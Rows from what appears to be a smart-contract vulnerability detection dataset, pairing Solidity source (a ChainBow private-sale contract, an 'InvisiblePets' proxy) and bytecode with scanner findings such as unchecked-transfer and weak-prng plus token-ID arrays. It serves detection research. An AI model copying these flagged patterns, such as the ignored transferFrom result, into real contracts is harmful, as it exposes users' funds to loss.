3fe457600080fd5b50565b600081359050613ff681613fd0565b92915050565b60006020828403121561401257614011613e4d565b5b600061402084828501613fe7565b91505092915050565b600060a08201905061403e6000830188613eba565b61404b6020830187613eba565b6140586040830186613eba565b6140656060830185613eba565b6140726080830184613eba565b9695505050505050565b61408581613eb0565b811461409057600080fd5b50565b6000813590506140a28161407c565b92915050565b6000602082840312156140be576140bd613e4d565b5b60006140cc84828501614093565b91505092915050565b6140de81613fbe565b82525050565b60006020820190506140f960008301846140d5565b92915050565b6000819050919050565b600061412461411f61411a84613f9e565b6140ff565b613f9e565b9050919050565b600061413682614109565b9050919050565b60006141488261412b565b9050919050565b6141588161413d565b82525050565b6000602082019050614173600083018461414f565b92915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6141ae81613eb0565b82525050565b6141bd81613e17565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b60006141fb83836141a5565b60208301905092915050565b6000602082019050919050565b600061421f826141c3565b61422981856141ce565b9350614234836141df565b8060005b8381101561426557815161424c88826141ef565b975061425783614207565b925050600181019050614238565b5085935050505092915050565b600060a08301600083015161428a60008601826141a5565b50602083015161429d60208601826141b4565b5060408301516142b060408601826141a5565b5060608301516142c360608601826141a5565b50608083015184820360808601526142db8282614214565b9150508091505092915050565b60006142f48383614272565b905092915050565b6000602082019050919050565b600061431482614179565b61431e8185614184565b93508360208202850161433085614195565b8060005b8581101561436c578484038952815161434d85826142e8565b9450614358836142fc565b925060208a01995050600181019050614334565b50829750879550505050505092915050565b600060208201905081810360008301526143988184614309565b905092915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126143c5576143c46143a0565b5b8235905067ffffffffffffffff8111156143e2576143e16143a5565b5b6020830191508360208202830111156143fe576143fd6143aa565b5b9250929050565b6000806020838503121561441c5761441b613e4d565b5b600083013567ffffffffffffffff81111561443a57614439613e52565b5b614446858286016143af565b92509250509250929050565b600061445d8261412b565b9050919050565b61446d81614452565b82525050565b60006020820190506144886000830184614464565b92915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006144d560208361448e565b91506144e08261449f565b602082019050919050565b60006020820190508181036000830152614504816144c8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061457482613eb0565b915061457f83613eb0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156145b4576145b361453a565b5b828201905092915050565b60006145ca82613eb0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156145fd576145fc61453a565b5b600182019050919050565b7f4e6f204163636573730000000000000000000000000000000000000000000000600082015250565b600061463e60098361448e565b915061464982614608565b602082019050919050565b6000602082019050818103600083015261466d81614631565b9050919050565b7f5265736375652064697361626c65640000000000000000000000000000000000600082015250565b60006146aa600f8361448e565b91506146b582614674565b602082019050919050565b600060208201905081810360008301526146d98161469d565b9050919050565b60006146eb82613eb0565b91506146f683613eb0565b9250828210156147095761470861453a565b5b828203905092915050565b7f4e6f2062616c616e636520617661696c61626c65000000000000000000000000600082015250565b600061474a60148361448e565b915061475582614714565b602082019050919050565b600060208201905081810360008301526147798161473d565b9050919050565b7f5061757365640000000000000000000000000000000000000000000000000000600082015250565b60006147b660068361448e565b91506147c182614780565b602082019050919050565b600060208201905081810360008301526147e5816147a9565b9050919050565b7f5061757361626c653a2070617573656400000000000000000000000000000000600082015250565b600061482260108361448e565b915061482d826147ec565b602082019050919050565b6000602082019050818103600083015261485181614815565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006148b460268361448e565b91506148bf82614858565b604082019050919050565b600060208201905081810360008301526148e3816148a7565b9050919050565b7f4e6f206d696e74207265717565737420666f756e640000000000000000000000600082015250565b600061492060158361448e565b915061492b826148ea565b602082019050919050565b6000602082019050818103600083015261494f81614913565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60608201600082015161499b60008501826141b4565b5060208201516149ae60208501826141a5565b5060408201516149c160408501826141a5565b50505050565b600060a0820190506149dc60008301866140d5565b6149e96020830185613eba565b6149f66040830184614985565b949350505050565b600082825260208201905092915050565b6000614a1a826141c3565b614a2481856149fe565b9350614a2f836141df565b8060005b83811015614a60578151614a4788826141ef565b9750614a5283614207565b925050600181019050614a33565b5085935050505092915050565b6000606082019050614a826000830186613eba565b614a8f6020830185613eba565b8181036040830152614aa18184614a0f565b9050949350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614ae582613eb0565b9150614af083613eb0565b925082614b0057614aff614aab565b5b828206905092915050565b7f496e76616c6964206d696e7420616d6f756e7400000000000000000000000000600082015250565b6000614b4160138361448e565b9150614b4c82614b0b565b602082019050919050565b60006020820190508181036000830152614b7081614b34565b9050919050565b7f416c6c20746f6b656e73206d696e746564000000000000000000000000000000600082015250565b6000614bad60118361448e565b9150614bb882614b77565b602082019050919050565b60006020820190508181036000830152614bdc81614ba0565b9050919050565b6000614bee82613eb0565b9150614bf983613eb0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614c3257614c3161453a565b5b828202905092915050565b7f496e76616c6964207061796d656e7420616d6f756e7400000000000000000000600082015250565b6000614c7360168361448e565b9150614c7e82614c3d565b602082019050919050565b60006020820190508181036000830152614ca281614c66565b9050919050565b7f4f6e6c7920707265790000000000000000000000000000000000000000000000600082015250565b6000614cdf60098361448e565b9150614cea82614ca9565b602082019050919050565b60006020820190508181036000830152614d0e81614cd2565b9050919050565b6000604082019050614d2a60008301856140d5565b614d376020830184613eba565b9392505050565b7f5265717565737420616c72656164792065786973747300000000000000000000600082015250565b6000614d7460168361448e565b9150614d7f82614d3e565b602082019050919050565b60006020820190508181036000830152614da381614d67565b9050919050565b7f556e7374616b65206f7220636c61696d20666972737400000000000000000000600082015250565b6000614de060168361448e565b9150614deb82614daa565b602082019050919050565b60006020820190508181036000830152614e0f81614dd3565b9050919050565b7f5374616b65206669727374000000000000000000000000000000000000000000600082015250565b6000614e4c600b8361448e565b9150614e5782614e16565b602082019050919050565b60006020820190508181036000830152614e7b81614e3f565b9050919050565b7f496e76616c696420616374696f6e000000000000000000000000000000000000600082015250565b6000614eb8600e8361448e565b9150614ec382614e82565b602082019050919050565b60006020820190508181036000830152614ee781614eab565b9050919050565b7f546f6b656e7320656d7074790000000000000000000000000000000000000000600082015250565b6000614f24600c8361448e565b9150614f2f82614eee565b602082019050919050565b60006020820190508181036000830152614f5381614f17565b9050919050565b7f4e6f2070726f6669740000000000000000000000000000000000000000000000600082015250565b6000614f9060098361448e565b9150614f9b82614f5a565b602082019050919050565b60006020820190508181036000830152614fbf81614f83565b9050919050565b600080fd5b600080fd5b600080fd5b60008083356001602003843603038112614ff257614ff1614fc6565b5b80840192508235915067ffffffffffffffff82111561501457615013614fcb565b5b6020830192506020820236038313156150305761502f614fd0565b5b509250929050565b600060608201905061504d60008301866140d5565b61505a60208301856140d5565b6150676040830184613eba565b949350505050565b600082825260208201905092915050565b6000819050919050565b600080fd5b82818337600083830152505050565b60006150aa83856141ce565b93507f07ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8311156150dd576150dc61508a565b5b6020830292506150ee83858461508f565b82840190509392505050565b600061510784848461509e565b90509392505050565b600080fd5b600080fd5b600080fd5b6000808335600160200384360303811261513c5761513b61511a565b5b83810192508235915060208301925067ffffffffffffffff82111561516457615163615110565b5b60208202360384131561517a57615179615115565b5b509250929050565b6000602082019050919050565b600061519b838561506f565b9350836020840285016151ad84615080565b8060005b878110156151f35784840389526151c8828461511f565b6151d38682846150fa565b95506151de84615182565b935060208b019a5050506001810190506151b1565b50829750879450505050509392505050565b6000602082019050818103600083015261522081848661518f565b90509392505050565b7f556e7374616b6520666972737400000000000000000000000000000000000000600082015250565b600061525f600d8361448e565b915061526a82615229565b602082019050919050565b6000602082019050818103600083015261528e81615252565b9050919050565b60006152a082613eb0565b91506152ab83613eb0565b9250826152bb576152ba614aab565b5b828204905092915050565b60006040820190506152db6000830185613eba565b6152e86020830184613eba565b9392505050565b7f4e6f20756e7374616b65207265717565737420666f756e640000000000000000600082015250565b600061532560188361448e565b9150615330826152ef565b602082019050919050565b6000602082019050818103600083015261535481615318565b9050919050565b7f436c61696d206669727374000000000000000000000000000000000000000000600082015250565b6000615391600b8361448e565b915061539c8261535b565b602082019050919050565b600060208201905081810360008301526153c081615384565b9050919050565b7f496e76616c696420626c6f636b206e756d626572000000000000000000000000600082015250565b60006153fd60148361448e565b9150615408826153c7565b602082019050919050565b6000602082019050818103600083015261542c816153f0565b9050919050565b60008160601b9050919050565b600061544b82615433565b9050919050565b600061545d82615440565b9050919050565b61547561547082613fbe565b615452565b82525050565b6000819050919050565b61549661549182613eb0565b61547b565b82525050565b60006154a88286615464565b6014820191506154b88285615485565b6020820191506154c88284615485565b602082019150819050949350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4d696e696d756d20636c61696d20697320323030303020505245590000000000600082015250565b600061553e601b8361448e565b915061554982615508565b602082019050919050565b6000602082019050818103600083015261556d81615531565b9050919050565b7f4d757374206861766520312d3320686f756e6420696e20612070616972000000600082015250565b60006155aa601d8361448e565b91506155b582615574565b602082019050919050565b600060208201905081810360008301526155d98161559d565b9050919050565b7f4f6e6c79206265206f6e652068756e74657220696e2061207061697200000000600082015250565b6000615616601c8361448e565b9150615621826155e0565b602082019050919050565b6000602082019050818103600083015261564581615609565b9050919050565b7f48756e746572206d757374206265206c617374206f6e65000000000000000000600082015250565b600061568260178361448e565b915061568d8261564c565b602082019050919050565b600060208201905081810360008301526156b181615675565b9050919050565b60006156c382613eb0565b915060008214156156d7576156d661453a565b5b600182039050919050565b600060039050919050565b600081905092915050565b6000819050919050565b6000819050919050565b61571581615702565b82525050565b6000615727838361570c565b60208301905092915050565b6000602082019050919050565b615749816156e2565b61575381846156ed565b925061575e826156f8565b8060005b8381101561578f578151615776878261571b565b965061578183615733565b925050600181019050615762565b505050505050565b60006157a38286615464565b6014820191506157b38285615740565b6060820191506157c38284615485565b602082019150819050949350505050565b6000815190506157e381613fd0565b92915050565b6000602082840312156157ff576157fe613e4d565b5b600061580d848285016157d4565b91505092915050565b7f4e6f7420796f757220746f6b656e000000000000000000000000000000000000600082015250565b600061584c600e8361448e565b915061585782615816565b602082019050919050565b6000602082019050818103600083015261587b8161583f565b9050919050565b60008151905061589181613e57565b92915050565b6000815190506158a68161407c565b92915050565b600080604083850312156158c3576158c2613e4d565b5b60006158d185828601615882565b92505060206158e285828601615897565b915050925092905056fea2646970667358221220b8ecc2fb9706c4602427b17802c61ef3f083661b502072828a75ed99c8e602a964736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
27009,
21486,
2546,
2487,
2497,
16576,
2487,
2050,
2581,
22407,
12740,
2620,
2278,
2620,
2509,
5243,
7011,
2549,
2546,
2549,
2278,
16086,
2575,
2581,
12740,
3540,
2581,
3676,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
2184,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
3229,
1013,
2219,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
12927,
2953,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
3224,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
8336,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
4477,
6806,
8630,
1012,
14017,
1000,
1025,
3206,
4477,
16650,
2003,
12927,
2953,
1010,
3224,
1010,
2219,
3085,
1063,
1013,
1013,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,515 | 0x9543768b47e18d193dc5b7776e9b3a7a6a619569 | pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title ERC20 Private Token Generation Program
*/
contract ChainBowPrivateSale is Pausable {
using SafeMath for uint256;
ERC20 public tokenContract;
address public teamWallet;
string public name;
uint256 public rate = 5000;
uint256 public totalSupply = 0;
event Buy(address indexed sender, address indexed recipient, uint256 value, uint256 tokens);
mapping(address => uint256) public records;
constructor(address _tokenContract, address _teamWallet, string _name, uint _rate) public {
require(_tokenContract != address(0));
require(_teamWallet != address(0));
tokenContract = ERC20(_tokenContract);
teamWallet = _teamWallet;
name = _name;
rate = _rate;
}
function () payable public {
buy(msg.sender);
}
function buy(address recipient) payable public whenNotPaused {
require(msg.value >= 0.1 ether);
uint256 tokens = rate.mul(msg.value);
tokenContract.transferFrom(teamWallet, msg.sender, tokens);
records[recipient] = records[recipient].add(tokens);
totalSupply = totalSupply.add(tokens);
emit Buy(msg.sender, recipient, msg.value, tokens);
}
/**
* change rate
*/
function changeRate(uint256 _rate) public onlyOwner {
rate = _rate;
}
/**
* change team wallet
*/
function changeTeamWallet(address _teamWallet) public onlyOwner {
teamWallet = _teamWallet;
}
/**
* withdraw ether
*/
function withdrawEth() public onlyOwner {
teamWallet.transfer(address(this).balance);
}
/**
* withdraw foreign tokens
*/
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ERC20Basic token = ERC20Basic(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 0x6080604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100f057806318160ddd1461017a5780632c4e722e146101a15780633f4ba83a146101b6578063469e9067146101cb57806355a373d6146101ec578063599270441461021d5780635c975abb1461023257806374e7493b1461025b5780638456cb59146102735780638da5cb5b14610288578063a0ef91df1461029d578063b06e1e02146102b2578063e58fc54c146102d3578063f088d547146102f4578063f2fde38b14610308575b6100ee33610329565b005b3480156100fc57600080fd5b506101056104b3565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013f578181015183820152602001610127565b50505050905090810190601f16801561016c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018657600080fd5b5061018f610541565b60408051918252519081900360200190f35b3480156101ad57600080fd5b5061018f610547565b3480156101c257600080fd5b506100ee61054d565b3480156101d757600080fd5b5061018f600160a060020a03600435166105c3565b3480156101f857600080fd5b506102016105d5565b60408051600160a060020a039092168252519081900360200190f35b34801561022957600080fd5b506102016105e4565b34801561023e57600080fd5b506102476105f3565b604080519115158252519081900360200190f35b34801561026757600080fd5b506100ee600435610603565b34801561027f57600080fd5b506100ee61061f565b34801561029457600080fd5b5061020161069a565b3480156102a957600080fd5b506100ee6106a9565b3480156102be57600080fd5b506100ee600160a060020a03600435166106fd565b3480156102df57600080fd5b50610247600160a060020a0360043516610743565b6100ee600160a060020a0360043516610329565b34801561031457600080fd5b506100ee600160a060020a0360043516610897565b6000805460a060020a900460ff161561034157600080fd5b67016345785d8a000034101561035657600080fd5b600454610369903463ffffffff61092b16565b600154600254604080517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201523360248201526044810185905290519394509116916323b872dd916064808201926020929091908290030181600087803b1580156103e357600080fd5b505af11580156103f7573d6000803e3d6000fd5b505050506040513d602081101561040d57600080fd5b5050600160a060020a038216600090815260066020526040902054610438908263ffffffff61095a16565b600160a060020a038316600090815260066020526040902055600554610464908263ffffffff61095a16565b60055560408051348152602081018390528151600160a060020a0385169233927f89f5adc174562e07c9c9b1cae7109bbecb21cf9d1b2847e550042b8653c54a0e929081900390910190a35050565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105395780601f1061050e57610100808354040283529160200191610539565b820191906000526020600020905b81548152906001019060200180831161051c57829003601f168201915b505050505081565b60055481565b60045481565b600054600160a060020a0316331461056457600080fd5b60005460a060020a900460ff16151561057c57600080fd5b6000805474ff0000000000000000000000000000000000000000191681556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b339190a1565b60066020526000908152604090205481565b600154600160a060020a031681565b600254600160a060020a031681565b60005460a060020a900460ff1681565b600054600160a060020a0316331461061a57600080fd5b600455565b600054600160a060020a0316331461063657600080fd5b60005460a060020a900460ff161561064d57600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1781556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff6259190a1565b600054600160a060020a031681565b600054600160a060020a031633146106c057600080fd5b600254604051600160a060020a0390911690303180156108fc02916000818181858888f193505050501580156106fa573d6000803e3d6000fd5b50565b600054600160a060020a0316331461071457600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000805481908190600160a060020a0316331461075f57600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051859350600160a060020a038416916370a082319160248083019260209291908290030181600087803b1580156107c357600080fd5b505af11580156107d7573d6000803e3d6000fd5b505050506040513d60208110156107ed57600080fd5b505160008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810185905290519394509085169263a9059cbb92604480840193602093929083900390910190829087803b15801561086357600080fd5b505af1158015610877573d6000803e3d6000fd5b505050506040513d602081101561088d57600080fd5b5051949350505050565b600054600160a060020a031633146108ae57600080fd5b600160a060020a03811615156108c357600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082151561093c57506000610954565b5081810281838281151561094c57fe5b041461095457fe5b92915050565b8181018281101561095457fe00a165627a7a72305820d212bd5bd76fb3b18b8607e9bf91bb1127124b5dbc35536114d9ed28a716a3f20029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
27009,
24434,
2575,
2620,
2497,
22610,
2063,
15136,
2094,
16147,
29097,
2278,
2629,
2497,
2581,
2581,
2581,
2575,
2063,
2683,
2497,
2509,
2050,
2581,
2050,
2575,
2050,
2575,
16147,
26976,
2683,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2484,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
3647,
18900,
2232,
1008,
1030,
16475,
8785,
3136,
2007,
3808,
14148,
2008,
5466,
2006,
7561,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
4800,
24759,
3111,
2048,
3616,
1010,
11618,
2006,
2058,
12314,
1012,
1008,
1013,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1039,
1007,
1063,
2065,
1006,
1037,
1027,
1027,
1014,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,516 | 0x9544c2d68b5572afb435f13712f282ffa37547a7 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
//Invisible Pets
contract InvisiblePets {
bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
constructor(bytes memory _a, bytes memory _data) payable {
(address _as) = abi.decode(_a, (address));
assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
require(Address.isContract(_as), "ADDRESS IS ERROR");
StorageSlot.getAddressSlot(KEY).value = _as;
if (_data.length > 0) {
Address.functionDelegateCall(_as, _data);
}
}
function _g(address to) internal virtual {
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _fallback() internal virtual {
_beforeFallback();
_g(StorageSlot.getAddressSlot(KEY).value);
}
fallback() external payable virtual {
_fallback();
}
receive() external payable virtual {
_fallback();
}
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
